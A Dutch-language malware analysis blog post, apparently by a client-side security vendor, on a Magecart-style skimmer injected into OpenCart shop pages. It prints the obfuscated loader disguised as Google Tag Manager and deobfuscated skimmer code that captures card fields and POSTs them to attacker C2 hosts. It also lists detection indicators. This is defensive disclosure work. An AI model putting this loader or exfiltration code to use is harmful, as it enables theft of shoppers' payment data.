We hebben een Magecart-achtige aanval gedetecteerd gericht op het OpenCart CMS-platform. De campagne lijkt zich te richten op e-commercewebsites in Oost-Azië. Magecart is een term die synoniem is geworden voor client-side aanvallen, afkomstig van Magento+ Cart.
Hoe de scriptinjectie-aanval plaatsvond
Het kwaadaardige script wordt rechtstreeks in de landingspagina van de website geïnjecteerd. Het is verborgen tussen legitieme third-party integraties zoals Facebook Pixel, Meta Pixel en Google Tag Manager. Typisch gedrag voor een client-side aanval.
Hier is het fragment dat de geïnjecteerde malware bevatte:
<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
i['Google'+'Analytics'+'Objects']=r;
a=s.createElement(g), m=s.getElementsByTagName(g)[0];
if(i.location['href'].indexOf(i.atob(r)) > 0){
a.async=1;
a.src=''+i.atob(o);
m.parentNode['insertBefore'](a,m);
r=1;
}
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->
Op het eerste gezicht ziet het eruit als een normale Google Analytics- of Tag Manager-integratie, maar dat is het niet.
De Base64-gedecodeerde payload verwijst naar:
/tagscart[.]shop/cdn/analytics.min.js
Zodra dit script wordt geladen:
- Het maakt een
<script>-element aan. - Stelt de src in op de kwaadaardige analytics.min.js.
- Injecteert zichzelf in de pagina vóór bestaande scripttags.
Gedrag van het kwaadaardige script
Het script van /tagscart[.]shop/cdn/analytics.min.js was sterk geobfusceerd.
Enkele gebruikte technieken:
- Hexadecimale tekenreferenties (0x...-indexering)
- Array-splitsing en dynamische hercombinatie (.split('|'))
- Gevaarlijk gebruik van eval() om dynamisch gedecodeerde code uit te voeren
- Stille uitvoering via try { onLoad(); } catch {}
Na deobfuscatie
De belangrijkste onderdelen:
// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php'; // Kwaadaardige C2-server
var sAdsUrl2 = '//hxjet.pics/g.php'; // Back-up C2-server
// #################### FAKE FORM INJECTION ####################
// Standaard injectie in het afrekenproces
function onTimerStd() {
// ... (weggelaten voor de leesbaarheid)
var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Nep betaalformulier HTML --> </div>';
vTargetBlocks.insertAdjacentHTML('beforeend', sHtml); // Injecteer nep formulier
// Invoermaskeringsinstelling
(new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
mask: "9999 9999 9999 99999999", // Creditcardopmaak
placeHolder: "Valid Card Number"
});
// ... vergelijkbaar voor datum- en CVC-velden
}
// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Koppel listeners aan betaalvelden
for (var i = 0; i < vPaymentElements.length; ++i) {
var hEl = document.getElementsByName(vPaymentElements[i])[0];
if (hEl) {
hEl.addEventListener('blur', mainListener); // Vastleggen wanneer focus het veld verlaat
hEl.addEventListener('keydown', mainListener); // Toetsaanslagen vastleggen
hEl.addEventListener('paste', mainListener); // Geplakte gegevens vastleggen
}
}
// #################### DATA VALIDATION ####################
function mainListener(e) {
var iCodeLength = 3;
try {
if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
iCodeLength = 4 // Validatie aanpassen voor Amex-kaarten
} catch (e) {}
// Validatiecontroles vóór exfiltratie
if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
return; // Minimale CVC-lengte vereist
if (document.getElementsByName('payment[date]')[0].value.length < 7)
return; // Volledige vervaldatum vereist
// ... (logica voor gegevensexfiltratie)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
var xmlhttp = getXmlHttp();
xmlhttp.open('POST', sUrl, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}
function mainListener(e) {
// ... (validatiecontroles)
var sDump = JSON.stringify({
"u": window.location.href, // Huidige URL vastleggen
"f": vData // Gestolen formuliergegevens
});
sDump = Base64.encode(sDump); // Gegevens coderen
iMethod = 1;
sendData(sAdsUrl1, sDump); // Versturen naar eerste C2
sendData(sAdsUrl2, sDump); // Versturen naar back-up C2
}
// #################### FORM HIDING ####################
function onTimerStd() {
// ... (na injectie)
var hDiv = document.getElementById('ccAq1TBAY_form_main');
if (hDiv != null) {
hDiv.style.display = 'none' // Origineel betaalformulier verbergen
}
// ... (nep formulier tonen)
}
Kwaadaardige functionaliteit
- Injectie van nep betaalformulier: Er wordt dynamisch een nep creditcardformulier aangemaakt (HTML + CSS).
- Het nep formulier wordt geïnjecteerd op afrekenpagina's.
- Het bewaakt gebruikersinvoer in velden zoals: payment[cc_number]
- payment[date]
- payment[cc_cid]
- Controleert of de kaartvelden er geldig uitzien (bijv. CVC-lengte, formaat vervaldatum).
- Na validatie worden de gegevens Base64-gecodeerd en vastgelegd (inclusief de huidige pagina-URL) en verstuurd naar://ultracart[.]shop/g.php
- //hxjet.pics/g.php
- Het originele betaalformulier wordt verborgen.
- Het nep formulier wordt getoond, opgemaakt om legitiem te lijken.
- Implementeert een aangepaste InputMask om invoer er "professioneel" uit te laten zien (bijv. automatische opmaak van creditcardnummers).
Onverwacht gedrag
Anders dan bij sommige traditionele Magecart-aanvallen kopieert dit third-party script niet vanuit het klembord. Gebruikers worden gedwongen om kaartgegevens handmatig in te voeren. Bovendien worden de kaartgegevens direct na invoer naar de server van de aanvaller verstuurd. Vervolgens wordt het kaartbetaalformulier verborgen en wordt de gebruiker gevraagd banktransactiegegevens in te voeren om aanvullende gevoelige informatie te onderscheppen.
Nep betaalpagina

Nep betaalpagina na kaartinvoer, met weergave van de bankgegevenspagina

Onderschept POST-verzoek naar C2

Geposte Base64-gegevens

Gedecodeerde payload

Hoe we het gebruik monitoren
Om de aanval te volgen, te achterhalen hoe de gegevens worden beheerd of gebruikt, of waar ze worden verkocht, maken we gebruik van canary tokens. Dit is wat we vonden:
Opvallend genoeg zien we in de meeste gevallen dat de gestolen kaart binnen enkele dagen wordt gebruikt. Hier duurde het echter meerdere maanden.
In dit voorbeeld zagen we twee gevallen. Het eerste op 18 juni via een telefonische betaaltransactie vanuit de VS.

Een tweede transactie werd gedaan voor €47,80 bij een onbekende leverancier.

Het volgen van deze aanvallen geeft ons een beter inzicht in de mensen erachter en hoe aanvalscampagnes zich ontwikkelen.
Ons detectieplatform heeft deze aanval gemarkeerd op basis van een combinatie van:
- Afwijkend scriptgedrag: Scripts die zich voordoen als legitiem (Google Analytics / GTM) maar worden geladen vanaf ongebruikelijke domeinen.
- Geobfusceerde JavaScript-patronen: Gebruik van dynamische eval, Base64-decodering en verdachte arraymanipulatie.
- Detectie van formuliervervanging: Bewaking op geïnjecteerde nep formulieren in bekende afrekenprocessen.
Monitoring van dreigingsdomeinen: tagscart[.]shop, ultracart[.]shop en hxjet[.]pics waren al gemarkeerd in onze threat intelligence feeds.
Slotopmerkingen
Bij cside monitoren we continu third-party scripts en webassets om client-side aanvallen zoals deze te detecteren en te voorkomen.
Ons detectieplatform is ontworpen om:
- Ongeautoriseerde scriptinjecties te identificeren
- Verdacht gedrag in realtime te analyseren
- Aanvallen te blokkeren voordat gevoelige klantgegevens kunnen worden gestolen
Door websites proactief te beschermen tegen client-side dreigingen helpen we bedrijven het vertrouwen van hun klanten te bewaken en een stap voor te blijven op steeds evoluerende websitebeveiligingsaanvallen.




